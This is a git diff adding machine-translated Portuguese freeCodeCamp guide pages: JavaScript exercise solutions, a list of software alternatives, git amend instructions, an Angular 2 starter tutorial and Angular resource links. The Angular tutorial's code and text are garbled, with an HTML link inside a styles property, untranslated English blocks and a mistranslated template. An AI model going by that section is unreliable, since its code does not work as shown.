+*   Você tem que verificar se ambos os números são realmente números, caso contrário, retorne **indefinido** e pare a função no momento.
+*   Você precisa verificar se os argumentos recebidos são um ou dois. Se houver mais, eles devem ser ignorados.
+*   Se apenas um argumento for recebido, uma função que aceita outro argumento deve ser retornada e, em seguida, a adição deve ser feita.
+
+## Dica: 1
+
+Toda vez que você trabalha um argumento, você deve verificar se é realmente um número ou não. Para evitar a repetição do código, você deve criar uma função que lide com essa tarefa.
+
+## Dica: 2
+
+Quando for necessário retornar a função, é aconselhável verificar se o primeiro e único argumento é um novo número e basear o código nele.
+
+## Dica: 3
+
+No caso de apenas um argumento ser recebido, não se preocupe em como solicitar o segundo, simplesmente faça a definição da função corretamente e tudo funcionará como deveria.
+
+## Alerta de spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução abaixo!**
+
+## Solução de código:
+```
+function addTogether() { 
+  // Función para comprobar si un número es realmente un número 
+  // y retornar undefined en caso contrario. 
+  var checkNum = function(num) { 
+    if (typeof num !== 'number') { 
+      return undefined; 
+    } else 
+      return num; 
+  }; 
+ 
+  // Comprobar si tenemos dos parámetros y si ambos son números 
+  // En caso que no lo sean retornamos undefined 
+  // retornamos la suma 
+  if (arguments.length > 1) { 
+    var a = checkNum(arguments[0]); 
+    var b = checkNum(arguments[1]); 
+    if (a === undefined || b === undefined) { 
+      return undefined; 
+    } else { 
+      return a + b; 
+    } 
+  } else { 
+    // Si solo es encontrado un parámetro retornamos una nueva función para solicitar un segundo parámetro 
+    // Guardamos el primer argumento antes de entrar al scope de la nueva función 
+    var c = arguments[0]; 
+ 
+    // Comprobamos que sea número de nuevo, debe ser fuera del objeto que retornaremos 
+    // en lugar de undefined. 
+    if (checkNum(c)) { 
+      // // Retornamos la función que espera el segundo parámetro. 
+      return function(arg2) { 
+        // Comprobamos que no sean números. 
+        if (c === undefined || checkNum(arg2) === undefined) { 
+          return undefined; 
+        } else { 
+          // Si lo son, sumamos. 
+          return c + arg2; 
+        } 
+      }; 
+    } 
+  } 
+ } 
+ 
+ // realizamos el test 
+ addTogether(2,3); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "foguete:") [Na REPL!](https://repl.it/CLnz/0)
+
+### Explicação do código:
+
+*   Primeiro, criamos uma função com o único propósito de verificar se um número é realmente um número e retornamos indefinidos, se não for. Use **typeof** para verificar.
+*   Verificamos se temos dois parâmetros, se tivermos, verificamos se são números ou não usando a função **checkNum** .
+*   Se os parâmetros não forem **indefinidos,** nós os adicionamos e retornamos a soma. Se um deles é indefinido, retornamos indefinidos.
+*   No caso de termos apenas um argumento, retornamos uma nova função que espera dois parâmetros. Para isso, armazenamos o segundo parâmetro antes de inserir a função para evitar sobrescrever o argumento.
+*   Mesmo dentro do primeiro _,_ precisamos verificar se o argumento salvo é um número, se for, retornaremos a função esperando pelo segundo argumento.
+*   Agora dentro da função que vamos retornar, temos que verificar se o novo parâmetro é um número usando **checkNum** , se ele estiver indefinido, retornaremos isso e, caso contrário, adicionaremos os números e retornamos o resultado.
+
+## Segunda solução:
+```
+function addTogether() { 
+  var args = new Array(arguments.length); 
+  // Almacenamos los argumentos en un array. 
+  for(var i = 0; i < args.length; ++i) { 
+    args[i] = arguments[i]; 
+  } 
+  // Comprobamos la cantidad de argumentos. 
+  if(args.length == 2){ 
+    // Si hay dos argumentos, comprobamos el tipo de ambos 
+    // Utiliza typeof para comprobar el tipo de argumentos. (ambos deben ser números) 
+    if(typeof args[0] !== 'number' || typeof args[1] !=='number' ){ 
+      return undefined; 
+    } 
+    return args[0]+args[1]; 
+  } 
+  // Cuando solo un argumento es provisto. 
+  if(args.length == 1){ 
+    a = args[0]; 
+    // Comprobamos el tipo utilizando typeof. 
+    if(typeof a!=='number'){ 
+      return undefined; 
+    } 
+    else{ 
+      // Hacemos uso de las funciones internas. 
+      return function(b){ 
+      // Comprobamos el segundo parámetro. 
+      if(typeof b !=='number'){ 
+        return undefined; 
+      } 
+      else 
+        return a+b; 
+      }; 
+    } 
+  } 
+ } 
+ 
+ // realizamos el test 
+ addTogether(2,3); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "foguete:") [Na REPL!](https://repl.it/CLoA/0)
+
+## Terceira solução:
+```
+//jshint esversion: 6 
+ function addTogether() { 
+  var args = Array.from(arguments); 
+  return args.some(n => typeof n !== 'number') ? 
+    undefined: 
+    args.length > 1 ? 
+      args.reduce((acc, n) => acc += n, 0): 
+      (n) => typeof n === "number" ? 
+        n + args[0]: 
+        undefined; 
+ } 
+ 
+ // realizamos el test 
+ addTogether(2,3); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "foguete:") [Na REPL!](https://repl.it/CLoB/0)
+
+### Explicação do código:
+
+*   Primeiro nós iteramos os argumentos e verificamos que são números e, se não forem, retornamos indefinidos.
+*   Então nós verificamos se a quantidade de argumentos é maior que 1, se é que adicionamos os argumentos usando `Array.prototype.reduce`
+*   Caso contrário, retornamos uma função que verifica se o parâmetro recebido é um número e o adiciona, se não retornarmos indefinidos.
+
+> **NOTA:** Por favor, adicione seu nome de usuário somente se você adicionou **conteúdo relevante** ao artigo. (Por favor, não remova nenhum nome existente.)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/algoritmo-mensaje-secreto/index.md b/client/src/guide/portuguese/miscellaneous/algoritmo-mensaje-secreto/index.md
new file mode 100644
index 0000000000..1daa428276
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/algoritmo-mensaje-secreto/index.md
@@ -0,0 +1,148 @@
+---
+title: Algoritmo Mensaje Secreto
+localeTitle: Algoritmo de Mensagem Secreta
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/7/70cf3cc5462f69c2f770ad42d0f24f240a8d8f13.jpg)
+
+### Explicação:
+
+Esse problema é muito simples, você irá obter uma string que representa uma frase em código binário, e você terá que traduzi-la em palavras. Não há nenhuma maneira direta de fazer isso, então você terá que traduzir duas vezes.
+
+## Dica: 1
+
+Primeiro você deve converter de **binário** para **decimal** e depois traduzi-lo em caracteres.
+
+## Dica: 2
+
+As coisas são mais fáceis se você se concentrar em pequenas partes, dividir a mensagem que você recebe e se concentrar em uma letra de cada vez.
+
+## Dica: 3
+
+Certifique-se de transcodificar um caractere binário para decimal para redefinir qualquer uma das variantes usadas para realizar a conversão. Além disso, não esqueça de colocar tudo de volta em uma única corrente.
+
+## Alerta de spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução abaixo!**
+
+## Solução de código:
+```
+function binaryAgent(str) { 
+  biString = str.split(' '); 
+  uniString = []; 
+ 
+  // Utilizando el parámetro base en parseInt podemos convertir el número 
+  // binario a número decimal mientras simultáneamente lo convertimos a carácter. 
+ 
+  for(i=0;i < biString.length;i++){ 
+    uniString.push(String.fromCharCode(parseInt(biString[i], 2))); 
+  } 
+  // Simplemente unimos la cadena. 
+  return uniString.join(''); 
+ } 
+ 
+ // realizamos el test 
+ binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "foguete:") [Na REPL!](https://repl.it/CLnm/0)
+
+# Explicação do código:
+
+*   Nós separamos a string em uma matriz de strings separadas por espaços em branco.
+*   Criamos uma variável que será necessária ao longo do caminho, o nome é auto-explicativo.
+*   Nós iteramos através da nova matriz binária.
+*   Nós convertemos para decimal usando parseInt ( _binário_ , 2) (com o segundo parâmetro informamos em que base nossos números estão atualmente)
+*   No final, retornamos nossa mensagem convertida.
+
+## Segunda solução:
+```
+function binaryAgent(str) { 
+  // Separamos el código binario por sus espacios. 
+  str = str.split(' '); 
+  var power; 
+  var decValue = 0; 
+  var sentence = ''; 
+ 
+  // Comprobamos cada número binario de la matriz. 
+  for (var s = 0; s < str.length; s++) { 
+    // Comprobamos cada bit del número binario. 
+    for (var t = 0; t < str[s].length; t++) { 
+      // Esto solo toma en consideración los activos. 
+      if (str[s][t] == 1) { 
+        // Esto es equivalente a 2 ** posición. 
+        power = Math.pow(2, +str[s].length - t - 1); 
+        decValue += power; 
+ 
+        // Guardamos el valor decimal sumándolo al anterior. 
+      } 
+    } 
+ 
+    // Luego de que el número binario es convertido a decimal, lo convertimos en una cadena y lo guardamos. 
+    sentence += (String.fromCharCode(decValue)); 
+ 
+    // Reseteamos el valor decimal para el próximo número binario. 
+    decValue = 0; 
+  } 
+ 
+  return sentence; 
+ } 
+ 
+ // realizamos el test 
+ binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "foguete:") [Na REPL!](https://repl.it/CLno/0)
+
+# Explicação do código:
+
+*   Para cada cadeia binária, verificamos os e ignoramos os zeros.
+*   Para aqueles que são um ou ativo, nós os convertemos em decimal. Isso leva em consideração a posição e o poder apropriado ao qual ela deve ser elevada.
+*   Nós manter o poder na **potência** variável adicionando -o aos anteriores na variável **decValue.** Essa variável continuará adicionando os poderes dos ativos ao final do loop e retornará um número decimal.
+*   Nós convertemos o número decimal final em ASCII e o adicionamos à variável **frase** junto com qualquer outra string de texto já convertida e armazenada.
+*   Nós redefinimos o valor da variável **decValue** para evitar decimais errados antes de continuar com o loop externo.
+
+## Terceira solução:
+```
+function binaryAgent(str) { 
+  return String.fromCharCode(...str.split(" ").map(function(char){ return parseInt(char, 2); })); 
+ } 
+ 
+ // realizamos el test 
+ binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "foguete:") [Na REPL!](https://repl.it/CLnp/0)
+
+# Explicação do código:
+
+*   Primeiro usamos o `split()` para poder trabalhar cada caractere como um elemento de matriz.
+*   Então usamos `map()` para processar cada elemento binário para decimal usando `pareseInt()`
+*   Finalmente, podemos usar `String.fromCharCode()` para converter cada número ASCII em seu caractere correspondente.
+*   No entanto, `fromCharCode()` espera uma série de números em vez de uma matriz. Podemos usar o ES6 Spread Operator para passar uma matriz de números como números individuais. Mais informações: [https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference/Operators/Spread\_operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)
+
+## Quarta solução:
+```
+function binaryAgent(str) { 
+  var re = /(\d+)(\s?)/g; 
+  function convertToChar(match,p1,p2){ 
+    return String.fromCharCode(parseInt(p1, 2)); 
+  } 
+  return str.replace(re, convertToChar); 
+ } 
+ 
+ // realizamos el test 
+ binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "foguete:") [Na REPL!](https://repl.it/CLnr/0)
+
+# Explicação do código:
+
+*   Nesta solução usamos `String.replace()` para encontrar todos os números binários e convertê-los em caracteres.
+*   Primeiro, usamos uma expressão regular para encontrar todos os números binários e os espaços finais opcionais.
+*   Em seguida, definimos uma função que converte cada primeira subcoincidência em um número com `parseInt()` e, em seguida, um caractere com `String.fromCharCode()` . Ao não usar a segunda subcoincidência, deixamos de lado todos os espaços que estão entre cada número binário.
+*   Finalmente usamos nossa expressão regular e a função definida como um parâmetro de `String.replace()` .
+
+> **NOTA:** Por favor, adicione seu nome de usuário somente se você adicionou **conteúdo relevante** ao artigo. (Por favor, não remova nenhum nome existente.)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/alternatives-to-popular-windows-and-mac-software/index.md b/client/src/guide/portuguese/miscellaneous/alternatives-to-popular-windows-and-mac-software/index.md
new file mode 100644
index 0000000000..204a15cab3
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/alternatives-to-popular-windows-and-mac-software/index.md
@@ -0,0 +1,44 @@
+---
+title: Alternatives to Popular Windows and Mac Software
+localeTitle: Alternativas para o popular Windows e Mac Software
+---
+Este artigo está repleto de alternativas ao software popular no Windows e Mac, que não está disponível no Linux.
+
+## Alternativas:
+
+> Sinta-se à vontade para adicionar software a essa lista na forma de uma solicitação pull.
+
+[http://alternativeto.net/](http://alternativeto.net/) é um site muito útil para encontrar alternativas ao software.
+
+### [Adobe Photoshop](http://www.adobe.com/products/photoshop)
+
+_Descrição: O_ Photoshop é o software de edição de fotos, criação de imagens e design gráfico da Adobe. O Photoshop é muito útil para criar wireframes e maquetes de sites.
+
+_Alternativas:_
+
+*   [GIMP](https://www.gimp.org/)
+*   [Inkscape](https://inkscape.org)
+
+### [Stata](https://www.stata.com)
+
+_Descrição: O_ Stata é um pacote de software de análise estatística comercial distribuído e mantido pela StataCorp que pode ser usado para análise estatística baseada em script e GUI. Os pacotes ou bibliotecas oficiais da StataCorp podem ser complementados por um robusto ecossistema de scripts escritos pelo usuário chamado _SSC_ (o arquivo do Boston College Statistical Software Components) hospedado pelo [RePEC](http://repec.org) (o site da Research Papers in Economics). [O StataList](http://www.statalist.org/) fornece suporte a colegas e oficiais em um formato de quadro de mensagens; o [Stata Journal](http://www.stata-journal.com/) oficial é uma publicação trimestral que traz artigos revisados ​​por pares sobre "estatísticas, análise de dados, métodos de ensino e uso efetivo da linguagem do Stata".
+
+_Alternativas:_
+
+[Os](https://alternativeto.net/software/sas-jmp/) usuários do [alternative.to](https://alternativeto.net/software/sas-jmp/) sugeriram as seguintes ferramentas para uso no Linux, em vez do Stata (que também está disponível no Linux). O hiperlink em cada
+
+*   [R (linguagem de programação)](https://www.r-project.org) e [suas alternativas](https://alternativeto.net/software/r-project/)
+*   [R Studio](https://www.rstudio.com) e [suas alternativas](https://alternativeto.net/software/rstudio/)
+*   [gretl](http://gretl.sourceforge.net) e [suas alternativas](https://alternativeto.net/software/gretl/)
+*   [SOFA Statistics](http://www.sofastatistics.com/home.php) e [suas alternativas](https://alternativeto.net/software/sofa-statistics/)
+*   [PSPP](https://www.gnu.org/software/pspp/) e [suas alternativas](https://alternativeto.net/software/pspp/)
+*   [RKWard](https://rkward.kde.org) e [suas alternativas](https://alternativeto.net/software/rkward/)
+*   [IBM SPSS Statistics](https://www.ibm.com/analytics/us/en/technology/spss/) e [suas alternativas](https://alternativeto.net/software/spss/)
+*   [Dedutor](http://www.deducer.org/pmwiki/pmwiki.php?n=Main.DeducerManual) e [suas alternativas](https://alternativeto.net/software/deducer/)
+*   [Number Analytics](https://www.numberanalytics.com) e [suas alternativas](https://alternativeto.net/software/number-analytics/)
+*   [Calculadora Six Sigma](http://www.whatissixsigma.net/six-sigma-calculator/) e [suas alternativas](https://alternativeto.net/software/six-sigma-calculator/)
+*   [Microsoft R Open, anteriormente conhecido como Revolution R Open](https://mran.microsoft.com/open/) e [suas alternativas](https://alternativeto.net/software/revolution-r/)
+*   [Displayr](https://www.displayr.com) e [suas alternativas](https://alternativeto.net/software/displayr/)
+
+![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") Anterior | ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:") Casa ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":livro:") | Próximo ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")  
+[**Download de editores de texto e IDEs**](//forum.freecodecamp.com/t/downloading-text-editors-and-ides/18384) | [**Índice**](//forum.freecodecamp.com/t/setting-up-ubuntu-for-programming/18388) | [**Baixe e instale o Ubuntu Desktop**](//forum.freecodecamp.com/t/download-and-install-ubuntu-desktop/18383)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/amending-the-most-recent-commit-message/index.md b/client/src/guide/portuguese/miscellaneous/amending-the-most-recent-commit-message/index.md
new file mode 100644
index 0000000000..0207cd8a9a
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/amending-the-most-recent-commit-message/index.md
@@ -0,0 +1,40 @@
+---
+title: Amending the Most Recent Commit Message
+localeTitle: Emendando a mensagem de confirmação mais recente
+---
+Freqüentemente, a ocasião surgirá onde o último commit foi enviado prematuramente (falta de um arquivo, falta de uma mudança em um arquivo, etc.) ou a mensagem de commit pode ter sido digitada incorretamente ou incompleta. Para tal ocasião, o Git oferece o `--amend` confirmação `--amend` . Para corrigir um commit, comece digitando:
+```
+git commit --amend 
+```
+
+O acima irá confirmar quaisquer alterações adicionais e abrir seu editor, permitindo que você altere a mensagem de commit do commit mais recente. Além disso, você pode definir a mensagem de confirmação diretamente na linha de comando com:
+```
+git commit --amend -m "New commit message" 
+```
+
+Se você quiser adicionar arquivos ou alterações ao commit, você só precisa garantir que as mudanças sejam adicionadas ao staging com `git add` antes de executar o comando. Além disso, se você quiser adicionar todos os arquivos assistidos, modificados (em teste ou não) e alterar o commit, você pode usar:
+```
+git commit --amend -am "New commit message" 
+```
+
+A bandeira `-a` diz para adicionar todos os arquivos que o Git disse para rastrear.
+
+## Emendar um commit depois de empurrar para remoto
+
+Ao usar o sinalizador `--amend` , o Git substituirá o último commit pelo novo commit completo com um novo hash. Isso significa que, se você já tiver enviado para o controle remoto antes de alterar, o commit antigo estará ausente de qualquer push subsequente e qualquer novo push será rejeitado. A maneira de contornar isso é `--force` o empurrão. _NOTA: - a `--force` não deve ser feita levemente._ Para fazer isso, digite:
+```
+git push <remote> <branch> --force 
+```
+
+**Ou**
+```
+git push <remote> <branch> -f 
+```
+
+O envio forçado sobrescreve o ramo remoto com o estado do seu local. Se houver commits no branch remoto que você não tem em seu branch local, você os perderá. Isso pode causar problemas se outros já tiverem retirado ou clonado do seu repositório. Se você acredita que outros já _podem_ ter baixado o commit alterado, por favor, coordene com eles.
+
+## Veja também
+
+*   [git-commit (1) Página do manual](https://www.kernel.org/pub/software/scm/git/docs/git-commit.html)
+*   [Pro Git](https://git-scm.com/book/en/v2/Git-Tools-Rewriting-History)
+*   [StackOverflow](http://stackoverflow.com/questions/179123/edit-an-incorrect-commit-message-in-git/179147#179147)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/angular-2-starter-project/index.md b/client/src/guide/portuguese/miscellaneous/angular-2-starter-project/index.md
new file mode 100644
index 0000000000..b63d2755c1
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/angular-2-starter-project/index.md
@@ -0,0 +1,240 @@
+---
+title: Angular 2 Starter Project
+localeTitle: Projeto Angular 2 Starter
+---
+Este tutorial irá construir um projeto semente extremamente simples com o Angular2. Vamos começar com o aplicativo mais básico possível e, em seguida, adicionar um pouco mais de funcionalidade.
+
+## Visão geral
+
+Os aplicativos angulares 2 são criados com a criação de modelos HTML que contêm marcação específica de ângulo. As classes são criadas para gerenciar os modelos e tudo é agrupado em um módulo, que você compila para criar seu aplicativo. Esses módulos são referidos como **componentes** .
+
+Angular interpreta esses módulos e os usa para apresentar seu aplicativo no navegador.
+
+## Aplicativo inicial
+
+Vamos começar com um aplicativo mínimo. Começaremos com um aplicativo que contém um único módulo cujo único trabalho é exibir algum texto.
+
+Começaremos criando uma nova pasta chamada "app".
+```
+$ mkdir app 
+```
+
+Como mencionado acima, nosso aplicativo começará com um único módulo, ou **componente** , que exibirá algum texto na tela. Podemos usar JavaScript puro ou TypeScript para criar um aplicativo 2 angular. Usando o TypeScript, é mais fácil e mais amigável ao programador ![:wink:](//forum.freecodecamp.com/images/emoji/emoji_one/wink.png?v=2 ":piscadela:")
+
+Vamos aprender como criar um componente usando o TypeScript.
+
+Crie um arquivo chamado _`app.component.ts`_ como mostrado:
+```
+    // app.component.ts 
+ 
+    import { Component } from '@angular/core'; 
+    @Component({ 
+      selector: 'my-app', 
+      template: '<h1>Free Code Camp Rocks!</h1>', 
+      styles: <a href='http://plnkr.co/edit/BdvNONEmO3Jwg0EavX22' target='_blank' rel='nofollow'>` 
+        h1 { color: darkgreen; font-family: Arial, Helvetica, sans-serif;} 
+      `] 
+    }) 
+    export class AppComponent { } 
+```
+
+Cada aplicativo Angular 2 tem pelo menos um componente que é geralmente chamado de **AppComponent** . Um componente gerencia uma parte da página usando o modelo dentro dele.
+
+Nosso componente demonstra a estrutura básica de qualquer componente que você irá escrever. Contém:
+
+*   **instruções de importação** para puxar em outros componentes, vamos precisar
+*   **decorador de componentes** que permite que o angular saiba qual modelo usar e como o componente será criado. Basicamente, quaisquer metadados relacionados ao componente.
+*   **classe de componente** que controla a aparência e o comportamento do componente
+
+Vamos dar uma olhada em cada linha do nosso componente.
+
+## Importar
+```
+import { Component } from '@angular/core'; 
+```
+
+Como as aplicações angulares são modulares, podemos importar quaisquer outros módulos ou bibliotecas que possamos precisar. Aqui, estamos importando o módulo central Angular 2 para dar acesso ao componente para o decorador `@Component` . Cada aplicativo precisará dessa importação para começar.
+
+Como importamos a função `Component` acima, podemos agora usá-la para associar metadados à nossa classe de componentes que informarão ao Angular como o nosso componente deve ser criado e as ações que ele fornecerá.
+
+## Decorador de componentes
+```
+    @Component({ 
+      selector: 'my-app', 
+      template: '<h1>Free Code Camp Rocks!</h1>' 
+    }) 
+ ``` 
+ Our metadata object has selector and template fields. 
+ * The `selector` specifies a CSS selector that indicates which HTML element will represent this component. The element we will use will be named "`my-app`". Angular will use this to create an instance of our component where it finds this element. 
+ * The `template` tells angular what template it will use for this component. This can refer to other Components or just a form of HTML that tells how to display the view for our component. Our template is just displaying an `h1` element containing the text "`Free Code Camp Rocks!`". 
+ 
+ ## Component Class 
+ Our final line provides an empty class named ***AppComponent*** 
+ ```js 
+ export class AppComponent { } 
+ ``` 
+ If we want to build a more complex component we can add logic and properties to the class. This component is extremely basic and simply displays some html, so its class will remain empty. 
+ 
+ We export our class so we can use it in other components in our application. 
+ 
+ Next, we need to connect our root component to Angular. To do this we create another file in our app folder called *`main.ts`* that will have the following code: 
+ ```js 
+    import { bootstrap }    from '@angular/platform-browser-dynamic'; 
+    import { AppComponent } from './app.component'; 
+    bootstrap(AppComponent); 
+ ``` 
+ This file imports the two items we need to start our app. 
+ * **`bootstrap`** - Angular's built in method that connects to the browser 
+ * **`AppComponent`** - Our component we created above (which is why we exported it) 
+ We then call `bootstrap` method with `AppComponent` 
+ 
+ **Finally, create index.html** 
+ 
+ ```html 
+    <html> 
+      <head> 
+        <title>Free Code Camp - Angular 2 Tutorial</title> 
+        <meta charset="UTF-8"> 
+        <meta name="viewport" content="width=device-width, initial-scale=1"> 
+        <link rel="stylesheet" href="styles.css"> 
+        <!-- 1\. Load libraries --> 
+        <script src="https://npmcdn.com/core-js/client/shim.min.js"></script> 
+ 
+        <script src="https://npmcdn.com/zone.js@0.6.12?main=browser"></script> 
+        <script src="https://npmcdn.com/reflect-metadata@0.1.3"></script> 
+        <script src="https://npmcdn.com/systemjs@0.19.27/dist/system.src.js"></script> 
+ 
+        <!-- 2\. Configure SystemJS --> 
+        <script src="systemjs.config.js"></script> 
+        <script> 
+          System.import('app').catch(function(err){ console.error(err); }); 
+        </script> 
+      </head> 
+ 
+      <!-- Display app in my-app element --> 
+      <body> 
+        <my-app>Loading Your App...</my-app> 
+      </body> 
+    </html> 
+ ``` 
+ In commented section 1, we loaded several libraries that improve the compatibility of this tutorial with different browsers/versions. It also imports `system.src.js` which is used as module loader to import the app. 
+ 
+ In section 2, SystemJS is used to load our application and our various modules. In a production example we may want to use something else such as webpack. It was chosen here since we can use it with plunker. 
+ 
+ This is all that is required to get our simple application running. <a href="http://plnkr.co/edit/2i7Wjwd2JGj4NZtKvGD2" target="_blank">Here is a link to a plunker</a> that contains our working application. You can fork it into your own version and change whatever you'd like. 
+ 
+ <a target="_blank" href="http://plnkr.co/edit/2i7Wjwd2JGj4NZtKvGD2">VIEW APP</a> 
+ 
+ ## Add Functionality and Another Component 
+ 
+ Now let's add a bit more functionality to our program. We will create a counter that let's you increment it by clicking a button. 
+ 
+ Our increment component will be its own module so that we can reuse it in later applications. 
+ 
+ Let's name our file: `app/increment-clicker.component.ts` and set it up. 
+ ```js 
+ // app/increment-clicker.component.ts 
+ import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+    selector: 'increment-clicker', 
+    template: ` 
+      <div className="counter"> 
+        <h1>{{curClicks}} clicks</h1> 
+        <button type="button" (click)="incrementClicks()">Increment</button> 
+      </div> 
+    `, 
+    styles: [` 
+        .counter { 
+          width: 100%; 
+          margin: auto; 
+          background: darkgreen; 
+          border-radius: 5px; 
+          color: white; 
+          padding: 20px; 
+          text-align: center; 
+        } 
+        .counter h1 { 
+          margin: 0; 
+          padding: 20px; 
+          font-size: 36px; 
+        } 
+        .counter button { 
+          background: #f1c40f; 
+          border: 0; 
+          box-shadow: 0px 5px 0px #927608; 
+          padding: 20px; 
+          width: 100%; 
+          outline: none; 
+          border-radius: 5px; 
+          color: darkgreen; 
+          font-weight: bold; 
+        } 
+ 
+        .counter button:hover { 
+          background: #a9890a; 
+          cursor: pointer; 
+        } 
+    `] 
+ }) 
+ 
+ export class IncrementClicker { 
+  curClicks = 0; 
+ 
+  incrementClicks() { 
+    this.curClicks++; 
+  } 
+ } 
+ ``` 
+ Our component structure is similar to our previous one, but we've added a bit of functionality here. You will notice our class is no longer empty. We've added a variable to track the clicks as well as a function to increment them when the user clicks the button. 
+ 
+ You can display properties from your class in your template using double braces such as: `{{ variableName }}` 
+ 
+ We bind the button click event to our class function using Angulars Event Bindings. 
+ ```html 
+ <button type="button" (click)="incrementClicks()">Increment</button> 
+ ``` 
+ 
+ Notice that we've also added some styling to our components. This way everything is self-contained in this module. You may also include a `templateUrl` and/or `styleUrls` properties instead to extract the template and style rules to an external file and link them here. 
+ 
+ Now we just need to update our `AppComponent` to include our new component: 
+ ```js 
+ // app/app.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ 
+ /* Nested Component */ 
+ import { IncrementClicker } from 'app/increment-clicker.component'; 
+ 
+ @Component({ 
+  selector: 'my-app', 
+  directives: [IncrementClicker], 
+  template: ` 
+    <h1>Free Code Camp Rocks!</h1> 
+    <increment-clicker></increment-clicker> 
+  `, 
+  styles: [` 
+    h1 { color: darkgreen; font-family: Arial, Helvetica, sans-serif;} 
+  `] 
+ }) 
+ 
+ export class AppComponent { } 
+ ``` 
+ To pull in our new `IncrementClicker` component we need to import it by including the class name as well as the location of the typescript file as we did on this line: 
+ ```js 
+ import { IncrementClicker } from 'app/increment-clicker.component'; 
+ ``` 
+ We then add the `IncrementClicker` *component* as a directive to the `AppComponent` module using: 
+ ```js 
+ directives: [IncrementClicker], 
+```
+
+Por fim, apenas adicionamos a tag à qual nosso componente se conecta no modelo. Assim, o seletor no nosso componente `IncrementClicker` irá corresponder à tag onde queremos que apareça.  
+`js template:`
+
+# Rochas do acampamento livre do código!
+
+`,`  
+Nosso componente agora está incluído no nosso aplicativo!  
+\[Código atualizado  
+[VER APLICAÇÃO COMPLETA](http://run.plnkr.co/plunks/BdvNONEmO3Jwg0EavX22/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/angular-resources/index.md b/client/src/guide/portuguese/miscellaneous/angular-resources/index.md
new file mode 100644
index 0000000000..6bf5350a09
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/angular-resources/index.md
@@ -0,0 +1,21 @@
+---
+title: Angular Resources
+localeTitle: Recursos angulares
+---
+Uma coleção de recursos angulares úteis
+
+## Páginas gerais
+
+*   [Angular JS](https://angularjs.org/) - The Angular JS Homepage
+*   [Guia de Estilo Angular](https://github.com/johnpapa/angular-styleguide) - Melhores Práticas Detalhadas para o Desenvolvimento Angular
+
+## Páginas de tópicos específicos
+
+*   [Diretivas](http://www.sitepoint.com/practical-guide-angularjs-directives/) - Excelente guia em detalhes sobre diretivas angulares (parte 1)
+*   [Diretivas](http://www.sitepoint.com/practical-guide-angularjs-directives-part-two/) - Excelente guia detalhando as Diretrizes Angulares (Parte 2)
+
+## Vídeos
+
+*   [Roteamento no Angular JS](https://www.youtube.com/watch?v=5uhZCc0j9RY) - Roteamento do Cliente em 15 minutos
+*   [Angular ToDo App](https://www.youtube.com/watch?v=WuiHuZq_cg4) - Um aplicativo Angular ToDo em 12 minutos
+*   [Shaping Up with Angular.JS](https://www.codeschool.com/courses/shaping-up-with-angular-js) - Um tutorial gratuito do Angular.JS
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/angular-socketio/index.md b/client/src/guide/portuguese/miscellaneous/angular-socketio/index.md
new file mode 100644
index 0000000000..c73f71c644
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/angular-socketio/index.md
@@ -0,0 +1,10 @@
+---
+title: Angular Socketio
+localeTitle: Socketio Angular
+---
+Se você chegou ao Projeto Stock Charting Back End, você deve ter notado que o critério de bônus é ter sua lista de ações atualizada em todos os clientes. Isso pode ser feito com o SocketIO, mas isso não é tudo que o SocketIO pode fazer. Lembre-se anteriormente, eu mencionei que ao usar _$ http.post_ você tinha que atualizar sua matriz local com a versão do item que você estava postando no banco de dados? O SocketIO mantém o ambiente do navegador do usuário sincronizado com seu banco de dados em tempo real. Isto tem dois resultados práticos:
+
